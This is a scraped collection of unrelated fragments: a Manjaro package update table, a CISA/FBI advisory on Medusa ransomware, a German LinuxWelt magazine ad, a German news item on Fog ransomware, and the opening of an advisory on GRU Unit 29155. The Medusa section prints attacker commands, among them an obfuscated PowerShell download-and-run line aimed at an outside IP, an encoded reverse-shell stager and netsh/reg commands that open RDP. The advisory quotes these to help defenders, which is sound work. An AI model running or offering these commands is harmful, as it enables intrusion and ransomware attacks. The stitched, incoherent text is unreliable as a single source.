  linux61-rt-virtualbox-host-modules             7.1.10-1             7.1.10-2
                         linux61-zfs              2.3.2-6              2.3.3-1
                  linux612-acpi_call             1.2.2-56             1.2.2-57
                   linux612-bbswitch               0.8-54               0.8-55
                linux612-broadcom-wl      6.30.223.271-55      6.30.223.271-56
               linux612-nvidia-390xx           390.157-56           390.157-57
               linux612-nvidia-470xx        470.256.02-56        470.256.02-57
                     linux612-nvidia             575.64-1             575.64-2
                linux612-nvidia-open             575.64-1             575.64-2
                      linux612-r8168          8.055.00-34          8.055.00-35
                  linux612-rtl8723bu          20240303-55          20240303-56
                   linux612-tp_smapi              0.44-54              0.44-55
                linux612-vhba-module          20250329-17          20250329-18
    linux612-virtualbox-host-modules             7.1.10-3             7.1.10-4
                        linux612-zfs              2.3.2-8              2.3.3-1
                  linux614-acpi_call             1.2.2-24                    -
                   linux614-bbswitch               0.8-24                    -
                linux614-broadcom-wl      6.30.223.271-24                    -
               linux614-nvidia-390xx           390.157-23                    -
               linux614-nvidia-470xx        470.256.02-23                    -
                     linux614-nvidia             575.64-1                    -
                linux614-nvidia-open             575.64-1                    -
                      linux614-r8168          8.055.00-24                    -
                  linux614-rtl8723bu          20240303-24                    -
                   linux614-tp_smapi              0.44-24                    -
                linux614-vhba-module          20250329-22                    -
    linux614-virtualbox-host-modules             7.1.10-3                    -
                        linux614-zfs             2.3.2-11                    -
                  linux615-acpi_call              1.2.2-4              1.2.2-5
                   linux615-bbswitch                0.8-4                0.8-5
                linux615-broadcom-wl       6.30.223.271-3       6.30.223.271-4
               linux615-nvidia-390xx            390.157-4            390.157-5
               linux615-nvidia-470xx         470.256.02-4         470.256.02-5
                     linux615-nvidia             575.64-1             575.64-2
                linux615-nvidia-open             575.64-1             575.64-2
                      linux615-r8168           8.055.00-4           8.055.00-5
                  linux615-rtl8723bu           20240303-3           20240303-4
                   linux615-tp_smapi               0.44-4               0.44-5
                linux615-vhba-module           20250329-4           20250329-5
    linux615-virtualbox-host-modules             7.1.10-4             7.1.10-5
                   linux66-acpi_call            1.2.2-133            1.2.2-134
                    linux66-bbswitch              0.8-130              0.8-131
                 linux66-broadcom-wl     6.30.223.271-131     6.30.223.271-132
                linux66-nvidia-390xx          390.157-128          390.157-129
                linux66-nvidia-470xx        470.256.02-71        470.256.02-72
                      linux66-nvidia             575.64-1             575.64-2
                 linux66-nvidia-open             575.64-1             575.64-2
                       linux66-r8168          8.055.00-22          8.055.00-23
                linux66-rt-acpi_call             1.2.2-39             1.2.2-40
                 linux66-rt-bbswitch               0.8-38               0.8-39
              linux66-rt-broadcom-wl      6.30.223.271-39      6.30.223.271-40
             linux66-rt-nvidia-390xx           390.157-38           390.157-39
             linux66-rt-nvidia-470xx        470.256.02-27        470.256.02-28
                   linux66-rt-nvidia             575.64-1             575.64-2
              linux66-rt-nvidia-open             575.64-1             575.64-2
                    linux66-rt-r8168           8.055.00-9          8.055.00-10
                linux66-rt-rtl8723bu          20240303-31          20240303-32
                 linux66-rt-tp_smapi              0.44-13              0.44-14
              linux66-rt-vhba-module           20250329-3           20250329-4
  linux66-rt-virtualbox-host-modules             7.1.10-1             7.1.10-2
                   linux66-rtl8723bu          20240303-87          20240303-88
                    linux66-tp_smapi             0.44-130             0.44-131
                 linux66-vhba-module           20250329-9          20250329-10
     linux66-virtualbox-host-modules             7.1.10-2             7.1.10-3
                         linux66-zfs              2.3.2-5              2.3.3-1
                   opengamepadui-git0.39.2.r0.g5109fba7-20.40.0.r0.gb70cf77f-1
                    powerstation-bin             v0.6.0-1             v0.6.1-1
                    powerstation-git v0.6.0.r0.gb5981fd-1 v0.6.1.r0.gb1928ba-1
                            zfs-dkms              2.3.2-1              2.3.3-1
                           zfs-utils              2.3.2-1              2.3.3-1
                        linux615-zfs                    -              2.3.3-1


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE             20250619             20250620
-------------------------------------------------------------------------------
                          abseil-cpp         20250512.0-1         20250512.1-1
                       docker-buildx             0.24.0-1             0.25.0-1
                             freetds              1.5.2-1              1.5.3-1
                               fwupd             2.0.11-2             2.0.12-1
                          fwupd-docs             2.0.11-2             2.0.12-1
                                giac            2.0.0.3-1            2.0.0.4-1
                                glab             1.60.1-1             1.60.2-1
                               gopls             0.19.0-1             0.19.1-1
                        inputplumber             0.58.6-1             0.58.7-1
                         kube-linter              0.7.3-1              0.7.4-1
                   libblastrampoline             5.13.0-1             5.13.1-1
                             libzypp            17.37.5-1            17.37.6-1
                        libzypp-docs            17.37.5-1            17.37.6-1
                                mesa           1:25.1.3-3           1:25.1.4-1
                           mesa-docs           1:25.1.3-3           1:25.1.4-1
                    mkinitcpio-utils              0.0.4-2              0.0.5-1
                                nccl             2.27.3-1             2.27.5-1
                         opencl-mesa           1:25.1.3-3           1:25.1.4-1
                                orca               48.2-1               48.3-1
                             osbuild                151-1                152-1
                         osv-scanner              2.0.2-1              2.0.3-1
                 oxc-language-server              1.1.0-1              1.2.0-1
                              oxlint              1.1.0-1              1.2.0-1
                  proton-vpn-gtk-app              4.9.6-1              4.9.7-1
                   protonmail-bridge             3.20.0-3             3.21.1-1
              protonmail-bridge-core             3.20.0-3             3.21.1-1
                       python-cattrs             25.1.1-1             25.1.1-2
                    python-fakeredis             2.30.0-1             2.30.1-1
          python-proton-vpn-api-core             0.42.4-1             0.42.5-1
                      python-pytorch              2.7.1-2              2.7.1-3
                 python-pytorch-cuda              2.7.1-2              2.7.1-3
                  python-pytorch-opt              2.7.1-2              2.7.1-3
             python-pytorch-opt-cuda              2.7.1-2              2.7.1-3
             python-pytorch-opt-rocm              2.7.1-2              2.7.1-3
                 python-pytorch-rocm              2.7.1-2              2.7.1-3
                              rclone             1.70.0-1             1.70.1-1
                              reaper               7.39-1               7.40-1
                         release-plz            0.3.135-1            0.3.136-1
                          ruby-iconv              1.1.0-3              1.1.0-4
                           ruby-mail              2.8.1-5              2.8.1-7
                ruby-mime-types-data        3.2025.0603-1        3.2025.0617-1
                         ruby-rbtree              0.4.6-6              0.4.6-7
                      ruby-rdiscount            2.2.7.3-6            2.2.7.3-7
                          vulkan-dzn           1:25.1.3-3           1:25.1.4-1
                    vulkan-gfxstream           1:25.1.3-3           1:25.1.4-1
                        vulkan-intel           1:25.1.3-3           1:25.1.4-1
                  vulkan-mesa-layers           1:25.1.3-3           1:25.1.4-1
                      vulkan-nouveau           1:25.1.3-3           1:25.1.4-1
                       vulkan-radeon           1:25.1.3-3           1:25.1.4-1
                       vulkan-swrast           1:25.1.3-3           1:25.1.4-1
                       vulkan-virtio           1:25.1.3-3           1:25.1.4-1
                              wasmer              6.0.0-1              6.0.1-1
                                 zed            0.191.5-1            0.191.6-1
                              zypper            1.14.90-1            1.14.91-1


:: Different overlay package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE             20250619             20250620
-------------------------------------------------------------------------------
                               steam           1.0.0.82-3           1.0.0.83-1
                     steam-installer           1.0.0.82-3           1.0.0.83-1


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE             20250619             20250620
-------------------------------------------------------------------------------
                    lib32-libnghttp2             1.65.0-1             1.66.0-1
                          lib32-mesa           1:25.1.3-3           1:25.1.4-1
                   lib32-opencl-mesa           1:25.1.3-3           1:25.1.4-1
                    lib32-vulkan-dzn           1:25.1.3-3           1:25.1.4-1
              lib32-vulkan-gfxstream           1:25.1.3-3           1:25.1.4-1
                  lib32-vulkan-intel           1:25.1.3-3           1:25.1.4-1
            lib32-vulkan-mesa-layers           1:25.1.3-3           1:25.1.4-1
                lib32-vulkan-nouveau           1:25.1.3-3           1:25.1.4-1
                 lib32-vulkan-radeon           1:25.1.3-3           1:25.1.4-1
                 lib32-vulkan-swrast           1:25.1.3-3           1:25.1.4-1
                 lib32-vulkan-virtio           1:25.1.3-3           1:25.1.4-1

Click to view the poll.

Check if your mirror has already synced:

• Mirror-Check Service

2 posts - 2 participants

Read full topic

KI generiertes Nachrichten Update

Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders detailing various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint advisory to disseminate known Medusa ransomware TTPs and IOCs, identified through FBI investigations as recently as February 2025. 

Medusa is a ransomware-as-a-service (RaaS) variant first identified in June 2021. As of February 2025, Medusa developers and affiliates have impacted over 300 victims from a variety of critical infrastructure sectors with affected industries including medical, education, legal, insurance, technology, and manufacturing. The Medusa ransomware variant is unrelated to the MedusaLocker variant and the Medusa mobile malware variant per the FBI’s investigation.

FBI, CISA, and MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of Medusa ransomware incidents.

Download the PDF version of this report:

For a downloadable list of IOCs, see:

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 16. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Background

The RaaS Medusa variant has been used to conduct ransomware attacks from 2021 to present. Medusa originally operated as a closed ransomware variant, meaning all development and associated operations were controlled by the same group of cyber threat actors. While Medusa has since progressed to using an affiliate model, important operations such as ransom negotiation are still centrally controlled by the developers. Both Medusa developers and affiliates—referred to as “Medusa actors” in this advisory—employ a double extortion model, where they encrypt victim data and threaten to publicly release exfiltrated data if a ransom is not paid.

Initial Access

Medusa developers typically recruit initial access brokers (IABs) in cybercriminal forums and marketplaces to obtain initial access [TA0001] to potential victims. Potential payments between $100 USD and $1 million USD are offered to these affiliates with the opportunity to work exclusively for Medusa. Medusa IABs (affiliates) are known to make use of common techniques, such as:

• Phishing campaigns as a primary method for stealing victim credentials [T1566].
• Exploitation of unpatched software vulnerabilities [T1190] through Common Vulnerabilities and Exposures (CVEs) such as the ScreenConnect vulnerability CVE-2024-1709 [CWE-288: Authentication Bypass Using an Alternate Path or Channel] and Fortinet EMS SQL injection vulnerability [CVE-2023-48788 [CWE 89: SQL Injection].

Discovery

Medusa actors use living off the land (LOTL) and legitimate tools Advanced IP Scanner and SoftPerfect Network Scanner for initial user, system, and network enumeration. Once a foothold in a victim network is established, commonly scanned ports include:

• 21 (FTP)
• 22 (SSH)
• 23 (Telnet)
• 80 (HTTP)
• 115 (SFTP)
• 443 (HTTPS)
• 1433 (SQL database)
• 3050 (Firebird database)
• 3128 (HTTP web proxy)
• 3306 (MySQL database)
• 3389 (RDP)

Medusa actors primarily use PowerShell [T1059.001] and the Windows Command Prompt (cmd.exe) [T1059.003] for network [T1046] and filesystem enumeration [T1083] and to utilize Ingress Tool Transfer capabilities [T1105]. Medusa actors use Windows Management Instrumentation (WMI) [T1047] for querying system information.

Defense Evasion

Medusa actors use LOTL to avoid detection [TA0005]. (See Appendix A for associated shell commands observed during FBI investigations of Medusa victims.) Certutil (certutil.exe) is used to avoid detection when performing file ingress.

Actors have been observed using several different PowerShell detection evasion techniques with increasing complexity, which are provided below. Additionally, Medusa actors attempt to cover their tracks by deleting the PowerShell command line history [T1070.003].

In this example, Medusa actors use a well-known evasion technique that executes a base64 encrypted command [T1027.013] using specific execution settings.

• powershell -exec bypass -enc <base64 encrypted command string>

In another example, the DownloadFile string is obfuscated by slicing it into pieces and referencing it via a variable [T1027].

• powershell -nop -c $x = 'D' + 'Own' + 'LOa' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RAS tool>.msi)

In the final example, the payload is an obfuscated base64 string read into memory, decompressed from gzip, and used to create a scriptblock. The base64 payload is split using empty strings and concatenation, and uses a format operator (-f) followed by three arguments to specify character replacements in the base64 payload.

• powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((
• New-Object System.IO.StreamReader(
• New-Object System.IO.Compression.GzipStream((
• New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(
• (('<base64 payload string>')-f'<character replacement 0>','<character replacement 1>', '<character replacement 2>')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

The obfuscated base64 PowerShell payload is identical to powerfun.ps1, a publicly available stager script that can create either a reverse or bind shell over TLS to load additional modules. In the bind shell, the script awaits a connection on local port 443 [T1071.001], and initiates a connection to a remote port 443 in the reverse shell.

In some instances, Medusa actors attempted to use vulnerable or signed drivers to kill or delete endpoint detection and response (EDR) tools [T1562.001].

FBI has observed Medusa actors using the following tools to support command and control (C2) and evade detection:

• Ligolo.
  • A reverse tunneling tool often used to create secure connections between a compromised host and threat actor’s machine.
• Cloudflared.
  • Formerly known as ArgoTunnel.
  • Used to securely expose applications, services, or servers to the internet via Cloudflare Tunnel without exposing them directly.

Lateral Movement and Execution

Medusa actors use a variety of legitimate remote access software [T1219]; they may tailor their choice based on any remote access tools already present in the victim environment as a means of evading detection. Investigations identified Medusa actors using remote access software AnyDesk, Atera, ConnectWise, eHorus, N-able, PDQ Deploy, PDQ Inventory, SimpleHelp, and Splashtop. Medusa uses these tools—in combination with Remote Desktop Protocol (RDP) [T1021.001] and PsExec [T1569.002]—to move laterally [TA0008] through the network and identify files for exfiltration [TA0010] and encryption [T1486]. When provided with valid username and password credentials, Medusa actors use PsExec to:

• Copy (-c) one script from various batch scripts on the current machine to the remote machine and execute it with SYSTEM level privileges (-s).
• Execute an already existing local file on a remote machine with SYSTEM level privileges.
• Execute remote shell commands using cmd /c.

One of the batch scripts executed by PsExec is openrdp.bat, which first creates a new firewall rule to allow inbound TCP traffic on port 3389:

• netsh advfirewall firewall add rule name="rdp" dir=in protocol=tcp localport=3389 action=allow

Then, a rule to allow remote WMI connections is created:

• netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=yes

Finally, the registry is modified to allow Remote Desktop connections:

• reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Mimikatz has also been observed in use for Local Security Authority Subsystem Service (LSASS) dumping [T1003.001] to harvest credentials [TA0006] and aid lateral movement.

Exfiltration and Encryption

Medusa actors install and use Rclone to facilitate exfiltration of data to the Medusa C2 servers [T1567.002] used by actors and affiliates. The actors use Sysinternals PsExec, PDQ Deploy, or BigFix [T1072] to deploy the encryptor, gaze.exe, on files across the network—with the actors disabling Windows Defender and other antivirus services on specific targets. Encrypted files have a .medusa file extension. The process gaze.exe terminates all services [T1489] related to backups, security, databases, communication, file sharing and websites, then deletes shadow copies [T1490] and encrypts files with AES-256 before dropping the ransom note. The actors then manually turn off [T1529] and encrypt virtual machines and delete their previously installed tools [T1070].

Extortion

Medusa RaaS employs a double extortion model, where victims must pay [T1657] to decrypt files and prevent further release. The ransom note demands victims make contact within 48 hours via either a Tor browser based live chat, or via Tox, an end-to-end encrypted instant-messaging platform. If the victim does not respond to the ransom note, Medusa actors will reach out to them directly by phone or email. Medusa operates a .onion data leak site, divulging victims alongside countdowns to the release of information. Ransom demands are posted on the site, with direct hyperlinks to Medusa affiliated cryptocurrency wallets. At this stage, Medusa concurrently advertises sale of the data to interested parties before the countdown timer ends. Victims can additionally pay $10,000 USD in cryptocurrency to add a day to the countdown timer.

FBI investigations identified that after paying the ransom, one victim was contacted by a separate Medusa actor who claimed the negotiator had stolen the ransom amount already paid and requested half of the payment be made again to provide the “true decryptor”— potentially indicating a triple extortion scheme.

Indicators of Compromise

Table 1 lists the hashes of malicious files obtained during investigations.

In unserem Special Sicher im Netzwerk: Router – WLAN – Browser – VPN geht es um die Sicherheit Ihres Heimnetzes, um sicheren Zugang zum Internet, um die Abwehr von Eindringlingen und Schadprogrammen. Auch Methoden für optimalen Datenschutz kommen zu Wort. Das und vieles mehr lesen Sie in der neuen LinuxWelt 1/2025 – jetzt am Kiosk oder bequem im PC-WELT-Shop bestellen!

Eine Auswahl der Themen in der neuen LinuxWelt: 

Grundlagen

• Heft-Specials & Heft-DVD. Die Highlights dieser Ausgabe: Zwei Netzwerk-Specials, Praxisanleitungen und Heft-DVD
• Die Heft-DVD. Alle Inhalte der DVD im Überblick: Distributionen, Boottools, Software & LinuxWelt-Jahrgang 2024
• Distributionen auf DVD. Kurzvorstellungen zu Ubuntu Mate, Fedora 21 und MX Linux
• Linux-News. Linux, Open Source und IT-Sicherheit: Die Trends der letzten Wochen
• Die E-Rechnung kommt! 2025 startet die Aufbewahrungspflicht – 2026 wird es anstrengender
• 2025: Das wird relevant. Hardware, Distributionen, Desktops: Das erwartet uns im nächsten Jahr

Special I – Sicher im Netzwerk: Router – WLAN – Browser – VPN

• Sichere Router. Alle Sicherheitsfunktionen: So schützt der Router Ihr Heimnetz
• Isolierte Gastnetze. Gast- und Zweitnetze: So halten Sie LAN- und WLAN-Geräte vom primären Netzwerk fern
• Spezialisiertes Surf-Linux. „Surfsystem“: Diese Distributionen verdienen den Namen wirklich
• Virtuelle Linux-Browser. Varianten externer Browser: Damit surft auch Windows sicher
• Sichere Browser. Firefox gewinnt! Datenschutz-Garant bleibt der TOR-Browser
• Browseroptionen. Sicherheit und Datenschutz: Nutzen Sie die Optionen in Firefox, Chrome, Vivaldi und TOR
• VPN für unterwegs. Was leistet ein VPN und welche Anbieter sind zu empfehlen?
• Sichere Heimserver. Lokale Daten- & Webserver: Auch im LAN gibt es Regeln

Special II – Tuning für Heimnetze

• Mehr Tempo im Netzwerk. Strategien für den Netzturbo: So optimieren Sie den Netzdurchsatz
• Datenaustausch im Heimnetz. Samba, SFTP, HTTP: Nicht immer ist Samba die optimale Lösung
• Bittorrent-Downloads. Bittorrent statt HTTP? Die Technik, Vorteile & Nachteile des Protokolls
• Syncthing-Datenabgleich. Syncthing synchronisiert den Datenbestand lokaler Geräte
• Mailverschlüsselung. Kleopatra & Kmail: So einfach sind abhörsichere Mails für KDE-Nutzer
• Geoblocking mit nft. Netzwerkschutz für Profis: So sperren Sie alle Datenpakete suspekter Herkunft per Landescode

Software

• Umsteiger-Linux. Peppermint-OS „Loaded“ hat viel Standardsoftware an Bord
• Audacity: KI und Audio. Transkribieren und Übersetzen: KI automatisiert die Spracherkennung
• Gimp-Oberfläche optimieren. Gimp-Fenster arrangieren: So wird die Bildbearbeitung zugänglicher
• Mathematica auf Raspberry. Teures Tool kostenlos auf Raspberry: Mathematica hat 1000 Antworten
• Neue Software. 12 neue Versionen: u .a. mit Clementine, Jellyfin, RPI-Imager

Netzwerk & Hardware

• Fritzing für „Maker“. Bau- und Schaltpläne für Platinen-Tüftler: Fritzing visualisiert Projekte und erstellt Listen für Bauteile
• Docker-Autostarts. Für Docker-Instanzen mit Netzwerkaufgaben: So starten Sie Docker-Dienste automatisch
• Owntracks-Standortverlauf. Datenschutz für persönliche Standortaufzeichnungen: Google muss nicht wissen, wo Sie sind
• Open Media Vault. Datenserver für das Homeoffice: So installieren und konfigurieren Sie das NAS-Betriebssystem
• Celeste: Cloudbackups. Grafisches Frontend für Rclone: Celeste sichert auf Dropbox & Co.

Praxis

• Linux-Einstellungen sichern. Pfade, Namen, Kommentare, Formatierung: Diese Tipps führen Sie heraus aus dem Config-Dschungel
• Raspberry Pi für Einsteiger. Platine, Erweiterungen, Systeme: Was Sie vor dem Einstieg in den Kleinstrechner wissen sollten
• Terminaltipps. Tipps & Tools für das Terminal u. a. mit der Navigationshilfe Walk und dem General-Ping mit Fping
• Hardwaretipps. Hardwarelösungen für CPU, Datenträger, Treiber u.a. mit dem Hardwaremonitor Psitop
• Softwaretipps. Neue Tipps und Tools für prominente Linux-Programme wie Digikam und Firefox
• Desktoptipps. Optionen, Erweiterungen & Tipps für die populären Linux-Desktops Gnome, KDE, XFCE & Co.

Das finden Sie auf der Heft-DVD:

• Ubuntu Mate 24.10. Neueste Ubuntu-Version mit Mate-Desktop, Kernel 6.11und aktualisierter Software
• Fedora 41 „Security“ Spin. Fedora-Variante („Spin“) mit einfachem XFCE-Desktop und Fokus auf Sicherheitstests
• MX Workbench 23.4. Live-Zweitsystem mit XFCE-Desktop und umfangreichem Werkzeugkasten für Reparaturen
• LinuxWelt Digital XXL 1/25. (PDF) 363 Seiten technische Grundlagenartikel und Distributionsratgeber LinuxWelt-Jahrgang 2024 (als PDF) Alle sechs Ausgaben der LinuxWelt des Jahres 2024

Die LinuxWelt 1/2025 ist ab sofort am Kiosk für 8,99 Euro erhältlich. Alternativ können Sie das Heft auch über unseren Online-Shop bestellen und sich bequem nach Hause schicken lassen oder als ePaper herunterladen.

Die LinuxWelt gibt es auch in digitaler Form für Ihr Android-Gerät, iPad, iPhone, Windows Phone oder Windows 10.

Hier können Sie die LinuxWelt abonnieren.

Als Abonnent von PC-WELT Plus Digital erhalten Sie die LinuxWelt kostenlos. Sie erhalten per Mail einen entsprechenden Link zur digitalen Ausgabe. Mehr Informationen hierzu finden Sie in diesem Beitrag: PC-WELT zieht um – Digitale Ausgaben nun bei eMagazines.

The post Ransomware Groups Abusing Azure Storage Explorer For Stealing Data appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Die Fog Ransomware-Gruppe, die dafür bekannt ist, den Bildungs- und Freizeitsektor anzugreifen, hat ihren Wirkungsbereich auf Angriffe auf Finanzdienstleistungsunternehmen ausgeweitet. Dabei nutzten die Angreifer kompromittierte VPN-Anmeldeinformationen, um die Ransomware zu installieren, und griffen dabei sowohl Windows- als auch Linux-Endgeräte an. Sie erkannte die Ransomware-Aktivität und isolierte die betroffenen Maschinen, um Datenverschlüsselung und -diebstahl zu verhindern. Während die […]

Fog Ransomware: Eine neue Bedrohung für den Finanzsektor

Die Fog Ransomware, eine Variante der STOP/DJVU-Familie, die bisher hauptsächlich Bildungs- und Freizeiteinrichtungen ins Visier nahm, hat nun den lukrativen Finanzsektor entdeckt. Im August 2024 nutzten Angreifer kompromittierte VPN-Zugangsdaten, um einen Ransomware-Angriff auf eine mittelgroße Finanzinstitution zu starten. Die Cyberkriminellen setzten die als "Fog" oder "Lost in the Fog" bekannte Ransomware ein, um sensible Daten auf Endpunkten, die Windows- und Linux-Betriebssysteme ausführen, zu verschlüsseln. Doch dank der innovativen Technologie von Adlumin, die Köderdateien als Sensoren verwendet, um Ransomware-Aktivitäten im Netzwerk zu erkennen, konnte der Angriff abgewehrt werden.

### Überblick über Fog Ransomware

Die Fog Ransomware wurde erstmals im Jahr 2021 entdeckt und nutzt Schwachstellen in kompromittierten VPN-Zugangsdaten, um Netzwerkverteidigungen zu durchbrechen. Nach dem Eindringen in ein Netzwerk setzt Fog fortgeschrittene Techniken ein, einschließlich Pass-the-Hash-Angriffen, um Privilegien auf Administratorniveau zu eskalieren und so ihre Wirkung zu verstärken. Fog führt dann eine Reihe von Aktionen durch, die darauf abzielen, die Netzwerksicherheit zu lähmen. Dazu gehören das Deaktivieren von Schutzmechanismen, das Verschlüsseln kritischer Dateien – insbesondere von virtuellen Maschinendisks (VMDKs) – und das Löschen von Backup-Daten, wodurch den Opfern kaum eine andere Wahl bleibt, als das Lösegeld in Betracht zu ziehen. Die verschlüsselten Dateien werden typischerweise mit Erweiterungen wie ".FOG" oder ".FLOCKED" gekennzeichnet und sind von einer Lösegeldforderung begleitet, die die Opfer zu einer Verhandlungsplattform im Tor-Netzwerk leitet.

### Netzwerkentdeckung und Angriffsverhinderung

Die Angreifer initiierten die Netzwerkentdeckung, indem sie eine Reihe von Pings an verschiedene Endpunkte sendeten. Sie verwendeten das Tool 'Advanced_Port_Scanner_2.5.3869 (1).exe', um die Netzwerkerkundung durchzuführen, und scannten Hosts im Netzwerk mit erhöhten Privilegien von den kompromittierten Dienstkonten. Das Adlumin-Team stellte fest, dass der Angriff von einer russischen IP-Adresse ausging und verfolgte den Hack bis zu einem ungeschützten Gerät. Durch die Nutzung von Domain-Trust-Beziehungen konnten die Angreifer sich seitlich im Netzwerk bewegen und nutzten zwei kompromittierte Dienstkonten. Die nächste Stufe beinhaltete das Sichern von auf Endpunkten gespeicherten Anmeldeinformationen zahlreicher Benutzer, einschließlich verschlüsselter Google Chrome-Anmeldeinformationen, mit dem Microsoft-Befehlszeilen-Tool "esentutl.exe". Der Bedrohungsakteur synchronisierte und übertrug Daten von infizierten Endpunkten mit 'Rclone', einem effektiven Open-Source-Befehlszeilen-Tool. Das Tool, das zur Verbreitung der Ransomware verwendet wurde, wurde als "locker.exe" identifiziert, was darauf hindeutet, dass es eine Rolle beim "Sperren" oder Verschlüsseln der Daten spielte. Die Lösegeldforderung wurde dann in einer Datei namens "readme.txt" auf jedem kompromittierten Endpunkt veröffentlicht.

Die Fog Ransomware stellt eine ernsthafte Bedrohung für den Finanzsektor dar, der für seine sensiblen Daten bekannt ist. Sicherheitsspezialisten müssen wachsam bleiben und fortgeschrittene Abwehrmaßnahmen ergreifen, um solche Angriffe zu verhindern und abzuwehren. Die jüngsten Ereignisse zeigen, dass keine Branche vor der Gefahr sicher ist und dass eine kontinuierliche Überwachung und Verbesserung der Sicherheitsprotokolle unerlässlich ist.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and National Security Agency (NSA) assess that cyber actors affiliated with the Russian General Staff Main Intelligence Directorate (GRU) 161st Specialist Training Center (Unit 29155) are responsible for computer network operations against global targets for the purposes of espionage, sabotage, and reputational harm since at least 2020. GRU Unit 29155 cyber actors began deploying the destructive WhisperGate malware against multiple Ukrainian victim organizations as early as January 13, 2022. These cyber actors are separate from other known and more established GRU-affiliated cyber groups, such as Unit 26165 and Unit 74455.

To mitigate this malicious cyber activity, organizations should take the following actions today:

• Prioritize routine system updates and remediate known exploited vulnerabilities.
• Segment networks to prevent the spread of malicious activity.
• Enable phishing-resistant multifactor authentication (MFA) for all externally facing account services, especially for webmail, virtual private networks (VPNs), and accounts that access critical systems.

This Cybersecurity Advisory provides tactics, techniques, and procedures (TTPs) associated with Unit 29155 cyber actors—both during and succeeding their deployment of WhisperGate against Ukraine—as well as further analysis (see Appendix A) of the WhisperGate malware initially published in the joint advisory, Destructive Malware Targeting Organizations in Ukraine, published February 26, 2022.

FBI, CISA, NSA and the following partners are releasing this joint advisory as a collective assessment of Unit 29155 cyber operations since 2020:

• U.S. Department of the Treasury
• U.S. Department of State (Rewards for Justice)
• U.S. Cyber Command Cyber National Mission Force (CNMF)
• Netherlands Defence Intelligence and Security Service (MIVD)
• Czech Military Intelligence (VZ)
• Czech Republic Security Information Service (BIS)
• German Federal Office for the Protection of the Constitution (BfV)
• Estonian Internal Security Service (KAPO)
• Latvian State Security Service (VDD)
• Security Service of Ukraine (SBU)
• Computer Emergency Response Team of Ukraine (CERT-UA)
• Canadian Security Intelligence Service (CSIS)
• Communications Security Establishment Canada (CSE)
• Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
• United Kingdom National Cyber Security Centre (NCSC-UK)

For additional information on Russian state-sponsored malicious cyber activity and related indictments, see the U.S. Department of Justice (DOJ) press release, FBI’s Cyber Crime webpage, and CISA’s Russia Cyber Threat Overview and Advisories webpage.

For a downloadable copy of indicators of compromise (IOCs):

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 15. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

GRU Unit 29155: Cyber Component

FBI, NSA, and CISA assess Unit 29155 is responsible for attempted coups, sabotage and influence operations, and assassination attempts throughout Europe. Unit 29155 expanded their tradecraft to include offensive cyber operations since at least 2020. Unit 29155 cyber actors’ objectives appear to include the collection of information for espionage purposes, reputational harm caused by the theft and leakage of sensitive information, and systematic sabotage caused by the destruction of data [T1485].

FBI assesses the Unit 29155 cyber actors to be junior active-duty GRU officers under the direction of experienced Unit 29155 leadership. These individuals appear to be gaining cyber experience and enhancing their technical skills through conducting cyber operations and intrusions. Additionally, FBI assesses Unit 29155 cyber actors rely on non-GRU actors, including known cyber-criminals and enablers to conduct their operations.

Cybersecurity Industry Tracking

The cybersecurity industry provides overlapping cyber threat intelligence, IOCs, and mitigation recommendations related to Unit 29155 cyber actors. While not all encompassing, the following are the most notable threat group names related under MITRE ATT&CK G1003 and commonly used within the cybersecurity community.

• Cadet Blizzard (formerly known as DEV-0586 by Microsoft)[1],[2]
• Ember Bear (also known as Bleeding Bear by CrowdStrike)[3]
• Frozenvista
• UNC2589[4]
• UAC-0056[5]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. Government’s understanding for all activity related to these groupings.

Victimization

In addition to WhisperGate and other incidents against Ukraine, Unit 29155 cyber actors have conducted computer network operations against numerous members of the North Atlantic Treaty Organization (NATO) in Europe and North America, as well as countries in Europe, Latin America, and Central Asia. The activity includes cyber campaigns such as website defacements, infrastructure scanning, data exfiltration, and data leak operations. These actors sell or publicly release exfiltrated victim data obtained from their compromises. Since early 2022, the primary focus of the cyber actors appears to be targeting and disrupting efforts to provide aid to Ukraine.

To date, the FBI has observed more than 14,000 instances of domain scanning across at least 26 NATO members and several additional European Union (EU) countries. Unit 29155 cyber actors have defaced victim websites and used public website domains to post exfiltrated victim information.

Whether through offensive operations or scanning activity, Unit 29155 cyber actors are known to target critical infrastructure and key resource sectors, including the government services, financial services, transportation systems, energy, and healthcare sectors of NATO members, the EU, Central American, and Asian countries.

TTP Overview

Reconnaissance

Unit 29155 cyber actors have been observed targeting IP ranges [T1595.001] used within multiple government and critical infrastructure organizations. The following are publicly available tools these cyber actors have used for scanning [T1595] and vulnerability exploit efforts. Unit 29155 cyber actors were not observed using these tools outside of their intended purpose. Note: Use of these tools should not be attributed as malicious without analytical evidence to support threat actor use and/or control.

